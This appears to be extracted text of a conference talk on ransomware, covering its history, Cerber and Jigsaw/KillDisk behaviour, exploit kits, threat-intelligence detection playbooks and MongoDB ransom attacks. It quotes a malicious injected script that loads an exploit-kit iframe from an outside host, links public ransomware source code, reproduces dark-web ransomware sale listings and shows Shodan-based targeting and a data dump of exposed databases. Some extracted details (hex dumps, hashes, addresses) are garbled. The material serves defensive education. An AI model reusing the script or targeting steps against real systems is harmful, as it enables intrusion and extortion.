THE RANSOMWARE ODYSSEY:

Their Relevance and Their Kryptonite
Before We Begin
A New Wave of Attacks

Infected victims send out scans looking for other windows PC’s on the local network, propagating the worm.

The exploit WannaCry uses were created by the NSA [SMB Vuln], a patch was released by Microsoft

The AES key is encrypted using infection specific public key generated, the Master Key is needed to decrypt the file, currently only the public part has been analysis

WannaCry tries to load an infection specific public key “00000000.pky” if it doesn’t exist, WannaCry uses “CryptoGenKey” to create a keypair

Double Pulsar/Eternal Blue reportedly developed by NSA, leaked by Shadowbrokers and exploited by Wannacry 2 months later. RCE type issues need expedited patch processes.
The Game is Changing

Shadow Brokers
Exploit Subscription for $21,000/month
Downloadable Ransomware

- https://github.com/mauri870/ransomware
- https://github.com/goliate/hidden-tear
- https://github.com/roothaxor/Ransom
- https://github.com/bitdust/WamaCry
Ransomware Evolution

2014
- Cryptowall
- CBT locker
- Cryptographic Locker

2015
- TorrentLocker
- BandarChor
- New family Teslacrypt
- RaaS:
  - TOX
  - Fakben
  - Radamant
  - Chimera

2016
- Locky
- Zepto
- Keranger (1st targeting OS X)
- Cerber
- Petya (Super ransomware)*
- SAMAS
- Maktub (nicely graphic design)
- Jigsaw

2017
- Philadelphia
- Cerber
- WannaCry
- Spora
- Sage

Image 1. Ransomware evolution from 2014 to 2016

Own design for training Purposes
Attack vectors

- Phishing emails

Web based attacks
- Drive by downloads /Exploits Kits (malvertising)
- Jboss (Samas), wordpress, Joomla
I got an email from Nigeria?

From: Mike Kolander <connections@arjens.co.uk>
Date: 16 December 2014 12:00:12 GMT
To: 
Subject: Memo D-5702286-4053

This is an automatically generated email. Please do not reply as the email address is not monitored for received email.

Notification Number: 8529817
Mandate Number: 49018627
Date: December 16, 2014 12:47pm

In an effort to protect your banking account, we have frozen your account until such time that it can be safely restored by you. Please view attached file "D-5702286-4053.exe" for details.

Yours sincerely,
Mike Kolander
+171890 091250

[An image of a computer and a letter]
Cerber

- Subject “21735 Ssuiemangun”
Processes in the background

- Zip file contains “js” file
- Loads
  - wscript.exe, schtasks.exe
  - svchost.exe
    - taskeng.exe
  - Temporal file "iy0sz7tth.exe"
Location

- Under C: \Users\USERID\AppData\Local\Temp

- Later on we see taskeng.exe making reference to the temp file
All files encrypted

YOUR DOCUMENTS, PHOTOS, DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!

The only way to decrypt your files is to receive the private key and decryption program.

To receive the private key and decryption program, go to any decrypted folder - inside there is the special file (*.READ THIS FILE*) with complete instructions how to decrypt your files.

If you cannot find any (*.READ THIS FILE*) file at your PC, follow the instructions below:

1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here: http://p27dokhpz2n7nvgr.onion/B0F5-A1AF-CB9B-0091-C8E4

Note! This page is available via "Tor Browser" only.
• Payment: hxxp://p27dokhpz2n7nvgr.onion/7A25-8009-CEE7-0091-C5C7
Here comes the nightmare!
Sorry, something went wrong.
1 day later...

"Having any other questions, please contact us via the contact form:

<table>
<thead>
<tr>
<th>Date</th>
<th>Message</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>24/4/2017 01:14:00</td>
<td>Hello I do not have the full $2000 however I can pay $500, I wonder if you guys can take that amount</td>
<td>🔄 Question</td>
</tr>
<tr>
<td>24/4/2017 07:38:40</td>
<td>Sorry, but we cannot give you a discount.</td>
<td>✔️ Answer</td>
</tr>
<tr>
<td>24/4/2017 07:38:50</td>
<td>After payment you will get a link for downloading of Cerber Decryptor. It will decrypt all your files!!!</td>
<td>✔️ Answer</td>
</tr>
</tbody>
</table>
Behind the scenes snfE021.tmp

- Temporary file call: snfE021.tmp

<table>
<thead>
<tr>
<th>Offset</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
<th>Ascii</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000120</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td></td>
</tr>
<tr>
<td>000000130</td>
<td>63</td>
<td>82</td>
<td>53</td>
<td>63</td>
<td>35</td>
<td>01</td>
<td>03</td>
<td>3D</td>
<td>07</td>
<td>01</td>
<td>00</td>
<td>0C</td>
<td>29</td>
<td>E7</td>
<td>53</td>
<td>D9</td>
<td>c(Sc5 `-=' .), SÜ</td>
</tr>
<tr>
<td>000000140</td>
<td>0C</td>
<td>D5</td>
<td>57</td>
<td>49</td>
<td>4E</td>
<td>2D</td>
<td>35</td>
<td>4D</td>
<td>41</td>
<td>47</td>
<td>48</td>
<td>4A</td>
<td>37</td>
<td>41</td>
<td>55</td>
<td>41</td>
<td>i(WIN)-5(MAG)HJ?AUA</td>
</tr>
<tr>
<td>000000150</td>
<td>54</td>
<td>51</td>
<td>12</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>57</td>
<td>49</td>
<td>4E</td>
<td>2D</td>
<td>35</td>
<td>4D</td>
<td>41</td>
<td>47</td>
<td>48</td>
<td>4A (TC), (WIN)-5(MAG)HJ</td>
</tr>
<tr>
<td>000000160</td>
<td>37</td>
<td>41</td>
<td>55</td>
<td>41</td>
<td>54</td>
<td>3C</td>
<td>08</td>
<td>4D</td>
<td>53</td>
<td>46</td>
<td>54</td>
<td>20</td>
<td>35</td>
<td>2E</td>
<td>30</td>
<td>37</td>
<td>7(AU)AT((MS))FT.5.07</td>
</tr>
<tr>
<td>000000170</td>
<td>0C</td>
<td>01</td>
<td>01</td>
<td>0D</td>
<td>03</td>
<td>0b</td>
<td>02</td>
<td>2C</td>
<td>2E</td>
<td>2F</td>
<td>1F</td>
<td>21</td>
<td>79</td>
<td>F9</td>
<td>2E</td>
<td>FF</td>
<td>18</td>
</tr>
<tr>
<td>000000180</td>
<td>48</td>
<td>01</td>
<td>00</td>
<td>00</td>
<td>49</td>
<td>F6</td>
<td>A5</td>
<td>EB</td>
<td>38</td>
<td>BD</td>
<td>D2</td>
<td>01</td>
<td>00</td>
<td>50</td>
<td>56</td>
<td>E5</td>
<td>((, / ), / yû+yû)</td>
</tr>
<tr>
<td>000000190</td>
<td>4A</td>
<td>A0</td>
<td>00</td>
<td>0C</td>
<td>29</td>
<td>E7</td>
<td>53</td>
<td>D9</td>
<td>45</td>
<td>10</td>
<td>01</td>
<td>48</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>a ((, / ), (SÜ)), H</td>
</tr>
<tr>
<td>0000001A0</td>
<td>10</td>
<td>11</td>
<td>4A</td>
<td>BE</td>
<td>C0</td>
<td>A8</td>
<td>6E</td>
<td>FE</td>
<td>C0</td>
<td>A8</td>
<td>6E</td>
<td>88</td>
<td>00</td>
<td>43</td>
<td>00</td>
<td>44</td>
<td>((, / ), nP), n(, / ), C.D</td>
</tr>
<tr>
<td>0000001B0</td>
<td>01</td>
<td>34</td>
<td>DF</td>
<td>75</td>
<td>02</td>
<td>01</td>
<td>06</td>
<td>00</td>
<td>23</td>
<td>79</td>
<td>02</td>
<td>72</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>(, / ), y(, / ), . .</td>
</tr>
<tr>
<td>0000001C0</td>
<td>C0</td>
<td>A8</td>
<td>6E</td>
<td>88</td>
<td>C0</td>
<td>A8</td>
<td>6E</td>
<td>88</td>
<td>C0</td>
<td>A8</td>
<td>6E</td>
<td>FE</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>(, / ), n(, / ), nP), n(, / ), . .</td>
</tr>
<tr>
<td>0000001D0</td>
<td>00</td>
<td>0C</td>
<td>29</td>
<td>E7</td>
<td>53</td>
<td>D9</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>. . . . . . . . . .</td>
</tr>
<tr>
<td>0000001E0</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>. . . . . . . . . .</td>
</tr>
<tr>
<td>0000001F0</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>. . . . . . . . . .</td>
</tr>
<tr>
<td>000000200</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>. . . . . . . . . .</td>
</tr>
<tr>
<td>000000210</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>. . . . . . . . . .</td>
</tr>
<tr>
<td>000000220</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>. . . . . . . . . .</td>
</tr>
<tr>
<td>000000230</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>. . . . . . . . . .</td>
</tr>
<tr>
<td>000000240</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>. . . . . . . . . .</td>
</tr>
</tbody>
</table>
Malicious domain

- DGA domain

```
hxxp://sedwrfaawsa4.xyz/search.
```
Behind the scenes `yv4msi53p.exe`

<table>
<thead>
<tr>
<th>Member</th>
<th>Offset</th>
<th>Size</th>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>Machine</td>
<td>000000E4</td>
<td>Word</td>
<td>014C</td>
<td>Intel 386</td>
</tr>
<tr>
<td>NumberOfSections</td>
<td>000000E6</td>
<td>Word</td>
<td>0003</td>
<td></td>
</tr>
<tr>
<td>TimeDateStamp</td>
<td>000000E8</td>
<td>Dword</td>
<td>58DABF34</td>
<td></td>
</tr>
<tr>
<td>PointerToSymboIT...</td>
<td>000000EC</td>
<td>Dword</td>
<td>00000000</td>
<td></td>
</tr>
<tr>
<td>NumberOfSymbols</td>
<td>000000F0</td>
<td>Dword</td>
<td>00000000</td>
<td></td>
</tr>
<tr>
<td>SizeOfOptionalHeader</td>
<td>000000F4</td>
<td>Word</td>
<td>00E0</td>
<td></td>
</tr>
<tr>
<td>Characteristics</td>
<td>000000F6</td>
<td>Word</td>
<td>0102</td>
<td>Click here</td>
</tr>
</tbody>
</table>
Dependency walker

---

**File Path:** C:\Windows\system32\api-ms-win-core-rpcrt0-extras-l1-1-0.dll

**File Size:** 300 KB (3072 bytes)

**Created:** Saturday 22 April 2017, 15:43:22

**Modified:** Thursday 04 October 2012, 10:40:37

**Accessed:** Saturday 22 April 2017, 15:43:22

**MD5:** 2A1A2C492B87B95F2FFEE3CFB3C89F100C0

**SHA-1:** 6731F1AABFA2DB1DB8B8CFC49DF331OC239B3026C

**Company Name:** Microsoft Corporation

**File Description:** ApiSet Stub DLL

**File Version:** 6.1.7600.16385 (win7sp1_gdr.121004-0338)

**Legal Copyright:** © Microsoft Corporation. All rights reserved.

**Original Filename:** apisetstub

**ProductName:** Microsoft® Windows® Operating System
Exploits Kits

Angler
- Cryptwall
- Cryptesla
- Crilock
  - Ottawa Hospital

Rig
- Cryptwall
- Cryptesla
- Waltrix
- Cerber
- Locky

Neutrino
- Cryptwall
- Cryptesla
- Cryptcb
- Crypshed
- Locky

Nuclear
- Cryptwall
- Cryptesla
- Cerber
- Locky

Exploits Kits

Angler
- Cryptwall
- Cryptesla
- Crilock
  - Ottawa Hospital

Rig
- Cryptwall
- Cryptesla
- Waltrix
- Cerber
- Locky

Neutrino
- Cryptwall
- Cryptesla
- Cryptcb
- Crypshed
- Locky

Nuclear
- Cryptwall
- Cryptesla
- Cerber
- Locky
Sundown EK “Eltest Campaign”

ElTest script from compromised website

Sundown EK

Cerber
<script type="text/javascript"> Cufon.now(); </script>
<body> </body>
<script type="text/javascript"> var vhimm = "iframe"; var copqcaq = document.createElement(vhimm); var aayet = ""; copqcaq.style.width = "6px"; copqcaq.style.height = "6px";
copqcaq.style.border = "0px"; copqcaq.frameBorder = "0"; copqcaq.setAttribute("frameBorder", "0");
document.body.appendChild(copqcaq); aayet = "http://hco.huc.mobi/index.php?z3HbOH2_tdcCHS-bjw-uhq6NT6ghKcCHi3agvcY9VmN0Jc09RQ9-0aomVZiIwynksmzx7R3FjFM"; copqcaq.src = aayet; </script>
</body>
<html>
## PCAP traffic

### Filter: `http.request or udp.port eq 6892`

<table>
<thead>
<tr>
<th>Date/Time</th>
<th>Dst</th>
<th>port</th>
<th>Host</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-01-19 23:18:47</td>
<td>50.62.37.1</td>
<td>80</td>
<td>activaclinics.com</td>
<td>GET / HTTP/1.1</td>
</tr>
<tr>
<td>2017-01-19 23:18:49</td>
<td>93.190.143.82</td>
<td>80</td>
<td>hco.huc.mobi</td>
<td>GET /index.php?z3HbCH2_tdcCHS-bjw=uHq6NT6ghKcCH3agvcYc5VMN0Jc09RQG-Qa0mVZ</td>
</tr>
</tbody>
</table>
Ransomware Variants

- Petya/misha (MFT)
- Power-shell (powerware)
- Stampado
- Philadelphia
- Commodity ransomware
- Spora

File less ransomware

RaaS

Normal
Philadelphia or Stampado

Stampado Ransomware FUD CHEAPEST ONLY 39 LIFETIME LICENSE

pwa8263b9z6c8e.onion/listing.php?id=181536 Alphabaya

Stampado Ransomware You always wanted a Ransomware but never wanted to pay hundreds of dollars for it. This list is for you. Stampado is a cheap and easy to manage ransomware developed by me and my team. It's meant to be really easy to use. You'll not need a host. All you will need is an email account. The file can be sent in the following formats: exe, bat, dll, scr, and cmd. You can also use binders and packers.

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Price</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>The_Rainmaker (0)</td>
<td>0.059990875</td>
<td>Worldwide</td>
</tr>
</tbody>
</table>

Bitcoin Ransomware w/ Sourcecode

Discover why Philadelphia is the best option for you.

Philadelphia Ransomware - FUD - NEW VERSION 1.36.2 - CHEAP - ALL AUTOMATIC - UNDECYPARTABLE - UPDATED + BONUS! - 20% OFF - DISCOUNT - LIMITED OFFER

Philadelphia Ransomware - The Most Advanced and Customizable Ransomware you've Ever Seen! VIDEO: https://www.youtube.com Conquer your Independence with Philadelphia Ransomware! Version: 1.36.2 - UPDATE 19th March Get an Advanced and Customizable Ransomware at a Full Lifetime License! Philadelphia innovates the Ransomware Market by presenting several features that make it possible to manage a V...

Sold by The_Rainmaker - 59 sold since Sep 8, 2016

<table>
<thead>
<tr>
<th>Level 5</th>
<th>Trust Level 6</th>
</tr>
</thead>
<tbody>
<tr>
<td>Features</td>
<td>Features</td>
</tr>
<tr>
<td>Product class</td>
<td>Digital, good Origin country</td>
</tr>
<tr>
<td>Quantity left</td>
<td>1 items</td>
</tr>
<tr>
<td>Ends In</td>
<td>Never</td>
</tr>
</tbody>
</table>

Purchase price: USD 309.00

Qty: 1

©2016 OTTO / 15.75.54 AMH
Tall, dark and ransom

- Wannacry
- SAMAS
- Philadelphia
WE HAVE TO PAY HOW MUCH??
AMOUNTS DEMANDED BY RANSOMWARE PERPETRATORS IN USA

- Up to $500: 30%
- $501 to $1000: 22%
- $1001 to $5000: 20%
- $5001 to $10,000: 11%
- $10,001 to $50,000: 12%
- $50,001 to $150,000: 3%
- Greater than $150,000: 3%
Hasta la vista, Ransomware!
Latch ARW.
Can we ever win the fight against ransomware?
Truth must be told….

...we are all out of jobs without them.
Threat Intelligence for Ransomware
What Are We Up Against?

**Jigsaw**
- Deletes files periodically until ransom is paid
- Demands $150 in BTC
- Can potentially be purchased on dark web

**KillDisk**
- Linux Variant
- Demands that user pays 222 bitcoin
- Does not store decryption keys (bye bye data)
What Are We Up Against?

Your computer files have been encrypted. Your photos, videos, documents, etc.... But, don't worry! I have not deleted them yet.

You have 24 hours to pay 150 worth of bitcoins to get the decryption key. Every hour, files will be deleted, increasing in amount every time. After 72 hours, all that are left will be deleted.

If you do not have bitcoins, go to the website localbitcoins.

Purchase 150 American Dollars worth of Bitcoins or .4 BTC. The system will accept.

Send to the bitcoins address specified.

Within two minutes of receiving your payment, your computer will receive the decryption key, and your computer will return to normal. As soon as the payment is received the encrypted files will be returned to normal.

Thank you.
What’s Under The Hood?

• Encryption Functions
  • Searches for file extensions
  • Leveraging open encryption standards
  • %UserProfile%\AppData\Roaming\System32Work\EncryptedFileList.txt

• Persistence Functions
  • Add registry key
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\firefox.exe
    %UserProfile%\AppData\Roaming\Frfx\firefox.exe
  • Add to autorun list
  • Delete 1k files of encrypted files on startup
What Are We Up Against?

**Jigsaw**
- Demands $150 in BTC
- Deletes files periodically until ransom is paid
- Can potentially be purchased on dark web

**KillDisk**
- Windows and Linux Variant
- Demands that user pays 222 bitcoin
- Does not store decryption keys (bye bye data)
What Are We Up Against?

GNU GRUB  version 2.02~beta2-9ubuntu1.12

*We are so sorry, but the encryption
of your data has been successfully completed,
so you can lose your data or
pay 222 btc to 1Q94RXqr5WzyNh9Jn3YLDGeBoJhxJBigcF
with blockchain.info
contact e-mail:vuyrk568gou@lelantos.org

Use the ↑ and ↓ keys to select which entry is highlighted.
Press enter to boot the selected OS, ‘e’ to edit the commands
before booting or ‘c’ for a command-line.
What’s Under The Hood? (Linux variant)

• Encryption Functions
  • Recursively traverses the root directory up to 17 subdirectories deep
  • Files encrypted using Triple-DES
  • Encrypts each file with a unique set of encryption keys

• Persistence Functions
  • Overwrites bootloader entry
  • GRUB displays ransom message
Ransomware Kill Chain

- Executable Delivery
- Executable Installation
- C2 Key Exchange
- File Encryption
- Ransom
Collect, Detect, Respond

Threat Intelligence Feeds → Threat Intelligence Platform → Analytical Engine → Logs → Network Devices and Appliances
→ Incident Response Ticketing System → Incident Response Produced Intelligence

Network Devices and Appliances
Collect, Detect, Respond

- Ingest open source feeds and ensure all data types are being collected
- Leverage existing security architecture to feed existing threat intel platform and analytical processes
- Create custom analytics to make intelligence actionable
- Incident response playbooks that cover feeding intelligence back into platform
Collect, Detect, Respond

Threat Intelligence Feeds → Threat Intelligence Platform → Analytical Engine

Analytical Engine → Logs
Analytical Engine → Network Devices and Appliances
Analytical Engine → Incident Response Ticketing System
Analytical Engine → Incident Response Produced Intelligence
Rating Your Threat Intel Feeds
Collect, Detect, Respond

- Threat Intelligence Feeds
- Threat Intelligence Platform
- Analytical Engine
- Logs
- Network Devices and Appliances
- Incident Response Ticketing System
- Incident Response Produced Intelligence

Network Devices and Appliances

Incident Response Produced Intelligence

Logs

Incident Response Ticketing System

Analytical Engine

Threat Intelligence Platform

Threat Intelligence Feeds
Collect, Detect, Respond

Threat Intelligence Feeds → Threat Intelligence Platform → Analytical Engine

Analytical Engine → Logs
Analytical Engine → Network Devices and Appliances
Analytical Engine → Incident Response Ticketing System
Analytical Engine → Incident Response Produced Intelligence
Analytic Engine

- IOCs
- Logs
- Analyst Feedback

Alert
Creating Analytics

• Email:
  • Blacklist To/From sender and IP Address
  • Total IOC score from all threat sources weighted on confidence from each source

• Network Communications:
  • Blacklist Network IOCs
  • Total IOC score from all threat sources weighted on confidence from each source
  • Anomalous HTTP/DNS Detection (Payload size, Frequency Extraction, DGA)

• Endpoint
  • Blacklist File Extensions
  • YARA
  • Rapid attempts to create, modify, and access files
Collect, Detect, Respond

- Threat Intelligence Feeds
- Threat Intelligence Platform
- Analytical Engine
- Logs
- Network Devices and Appliances
- Incident Response Ticketing System
- Incident Response Produced Intelligence
Creating Playbooks

• Determine Ransomware Infection
  • If device is infected, is it ransomware?

• Investigate Infection Delivery
  • Email, exploit kit, ect..
  • Search for other malicious artifacts

• Scope Incident
  • Identify malicious binary
  • Identify encrypted or ransomed files

• Protect against it
  • UPDATE SOFTWARE
  • Blocking IOCs
  • Tuning Analytics
  • Security training

• Recover
  • Verify that infection has not spread or remains
  • Restore from backup if possible
Aftermath
Motivation Behind These Attacks
Scanning for Misconfigurations!
Use Trusted Networking Environments

Always run MongoDB in a trusted environment, machines, systems, and networks. As with any reactive system that is dependent on network access, your specific systems that require access, such as application components.

By default, auth and mongod assumes a trusted environment. Enable authorization is not opted. For more information on authentication mechanisms supported in MongoDB as well as authorization in MongoDB, see Authentication and Role-Based Access Control.

For additional information and considerations on security, refer to the documents in the Security Section, specifically:

- Security Checklist
- MongoDB Configuration Hardening
- Hardening Network Infrastructure
It's the Data, Stupid

Search for "product: MongoDB" returned 29,980 results on 18-07-2015

Top Countries

1. United States 12,649
2. China 4,698
3. France 1,341
4. Russian Federation 1,160
5. Netherlands 1,129
6. Germany 865
7. United Kingdom 805
8. Japan 775
9. Singapore 723
10. Brazil 640
Top Organizations

- Digital Ocean
- Amazon.com
- E.I. du Pont de Nemours and Co.
- Amazon
- OVH SAS
- angzhou Alibaba Advertising Co.,Ltd.
- Linode
- Enzu
- Aliyun Computing Co., LTD
- Take 2 Hosting

(intel logo)
Top Versions

- 2.4.9
- 2.4.10
- 2.6.7
- 2.6.5
- 2.6.9
- 2.4.12
- 2.6.4
- 3.0.2
- 2.4.13
- 2.4.8
Think & Act As If You’re The Attacker
My Mindset When Investigating!

```python
def attacker ():
    print(“Who, What, Where, Why & How”)```

attacker()
Know Your Hackers and Groups
Expand Your Network
Profiling The Attackers Mindset

• You must understand the people that will go after your Company
• What do they want:
  • IP?
  • User Data?
  • Money?
  • Bragging Rights?
• Ask yourself if I was an attacker what would I go after, How would I break into the environment.
• Offensive thinking is the best Defense – A lot of the times products are not rolled out properly!
Going After the MongoDB

HOW WOULD I

DO IT
Finding The Right Service

I'm looking to start off with 1 virtual server and then add more servers. If my IP address are blocked by a transit provider can I get a dynamic IP.
I didn’t see that coming

Dear Mr. [Redacted]

Thank you for your message to [Redacted] DataCenters.

Well, it is not our intention to encourage you nor our job to teach you how to hide your identity on the Internet. However many of our customers use their server is such a way that their IP is never shown. It is always someone else that gets the blame, if you know what I mean.

If you would do that then no provider can stop you.

If you have any more questions or you would like to reply to this email then please mail to: info@

Regards,
Building a scanner
Fast

`root@kali:/Programs/portSpider# python3 portSpider.py`

PORTSPIDER

v1.0 by David Schütz (@xdavidhu)

Loaded modules: http, mongodb, mysql, ssh, printer, gameserver, manual, template

`portSpider $>`
Just Use Shodan

product: "MongoDB" country: "ru"
The One Question?
Holding The Data Hostage

```
$ mongoexport -d stealth this -c restaurants -o /tmp/steal_that_shit.json

2017-05-29T19:50:18.993-0700
connected to: localhost
stealththis.restaurants 0/25359 (0.0%)
stealththis.restaurants 16000/25359 (63.1%)
stealththis.restaurants 25359/25359 (100.0%)
```

Exported 25359 records
Harak1r1

MongoDB shell version v3.4.1
connecting to: mongodb://
MongoDB server version: 2.2.0
WARNING: shell and server versions do not match
> show dbs
WARNING 0.203GB

> use WARNING
switched to db WARNING
> show collections
WARNING

system.indexes
> db.WARNING.find()
{ "_id" : ObjectId("5859a0370b8e49f123fccc7da"), "mail" : "harak1r1@sigaint.org", "note" : "SEND 0.2 BTC TO THIS ADDRESS 13ZaxGVjji9Mnc2jyvDRhlLyYpkCh323MsMq AND CONTACT THIS EMAIL WITH YOUR IP OF YOUR SERVER TO RECOVER YOUR DATABASE !" }
> exit
bye
victor@windowlicker:-$ ^C
victor@windowlicker:-$
### How to secure your MongoDB

<table>
<thead>
<tr>
<th>Group name</th>
<th>Last Sighted on</th>
<th>Email Address(Sighted At)</th>
<th>Bitcoin Address</th>
<th>Ransom size</th>
<th><code>hash of transaction ID</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>Harak1r1</td>
<td>20-12-2017</td>
<td><a href="mailto:harak1r1@ssigant.org">harak1r1@ssigant.org</a></td>
<td>13aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>23</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>14aabH3vB9w4vb3w8vXn5v3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>6</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>15a0vB9w4vb3w8vXn5v3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>8-1-2017 12:30:00</td>
<td><a href="mailto:harak1r1@ssigant.org">harak1r1@ssigant.org</a></td>
<td>16aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.5 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>17a0vB9w4vb3w8vXn5v3fC2STM9qyM4</td>
<td>0.8 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>1-16-2017 3:38:03</td>
<td>18aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>19aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>1-4-2018 0:20:00</td>
<td>07aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>1aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.15 BTC</td>
<td>11</td>
</tr>
<tr>
<td></td>
<td>8-1-2017 16:02:00</td>
<td>20aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>21aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.5 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>1-8-2017 11:00:00</td>
<td>22aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>23aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.5 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>24aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.5 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>6-1-2017 20:02:00</td>
<td>25aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>26aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.25 BTC</td>
<td>10</td>
</tr>
<tr>
<td>Kraken0</td>
<td>12-21-2017 17:52:43</td>
<td>27aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>28aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>1 BTC</td>
<td>110</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>29aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>30aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.1 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>31aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.1 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>32aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.5 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>33aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>34aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>35aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>11</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>36aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>37aeeG3W9MgV2v0xvR9VhLVyMv3fC2STM9qyM4</td>
<td>0.2 BTC</td>
<td>0</td>
</tr>
</tbody>
</table>

Search for MongoDB ransacking Google Docs

[https://www.mongodb.com/blog/post/how-to-avoid-a-maliciousMongoDB/](https://www.mongodb.com/blog/post/how-to-avoid-a-maliciousMongoDB/)
Big Thanks
Any questions?

“In my day, kids didn’t build massive, ransomware-spewing botnets. They got a paper route.”

brianmooredraws.com